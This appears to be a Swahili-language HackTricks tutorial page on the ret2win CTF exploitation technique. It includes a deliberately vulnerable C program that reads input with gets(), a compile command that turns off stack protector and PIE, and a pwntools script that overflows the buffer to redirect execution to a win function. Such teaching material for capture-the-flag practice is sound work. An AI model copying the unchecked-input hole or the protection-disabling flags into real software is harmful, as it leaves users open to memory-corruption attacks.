Ret2win

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Mashindano ya Ret2win ni jamii maarufu katika mashindano ya Capture The Flag (CTF), hasa katika kazi zinazohusisha udukuzi wa binary. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, ambayo mara nyingi huitwa win, flag, n.k. Kazi hii, inapotekelezwa, kawaida huchapisha bendera au ujumbe wa mafanikio. Changamoto kawaida inahusisha kubadilisha anwani ya kurudi kwenye steki ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo zaidi pamoja na mifano:

Mfano wa C

Fikiria programu rahisi ya C yenye udhaifu na kazi ya win ambayo tunakusudia kuita:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Ili kutekeleza programu hii bila ulinzi wa stack na na ASLR imelemazwa, unaweza kutumia amri ifuatayo:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Kupasha programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).

  • -fno-stack-protector: Lemaza ulinzi dhidi ya kujaa kwa steki.

  • -z execstack: Ruhusu utekelezaji wa nambari kwenye steki.

  • -no-pie: Lemaza Position Independent Executable ili kuhakikisha anwani ya kazi ya win haibadiliki.

  • -o vulnerable: Ita faili ya pato vulnerable.

Mbinu ya Udukuzi ya Python kwa Kutumia Pwntools

Kwa udukuzi, tutatumia pwntools, mfumo hodari wa CTF kwa kuandika udukuzi. Skripti ya udukuzi itaunda mzigo wa kujaa kwa buffer na kubadilisha anwani ya kurudi na anwani ya kazi ya win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Ili kupata anwani ya kazi ya win, unaweza kutumia gdb, objdump, au chombo kingine chochote kinachokuwezesha kukagua faili za binary. Kwa mfano, na objdump, unaweza kutumia:

objdump -d vulnerable | grep win

Amri ifuatayo itakuonyesha mkusanyiko wa win function, pamoja na anwani yake ya kuanzia.

Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na vulnerable_function, unafunika buffer na kubadilisha anwani ya kurudi kwenye stack na anwani ya win. Wakati vulnerable_function inarudi, badala ya kurudi kwa main au kutoka, inaruka kwa win, na ujumbe unachapishwa.

Kinga

  • PIE inapaswa kuwa imelemazwa ili anwani iweze kutegemewa kila wakati au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa. Katika baadhi ya kesi, wakati kazi inayosababisha kujazwa ni read au sawa, unaweza kufanya Kujaza Sehemu ya 1 au 2 bytes kubadilisha anwani ya kurudi iwe kazi ya ushindi. Kwa sababu ya jinsi ASLR inavyofanya kazi, hex nibbles tatu za mwisho hazijaribiwi, kwa hivyo kuna nafasi ya 1/16 (1 nibble) ya kupata anwani sahihi ya kurudi.

  • Stack Canaries pia inapaswa kuwa imelemazwa au anwani iliyoharibiwa ya kurudi ya EIP haitafuatwa kamwe.

Mifano na Marejeo Mengine

Mfano wa ARM64

pageRet2win - arm64
Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated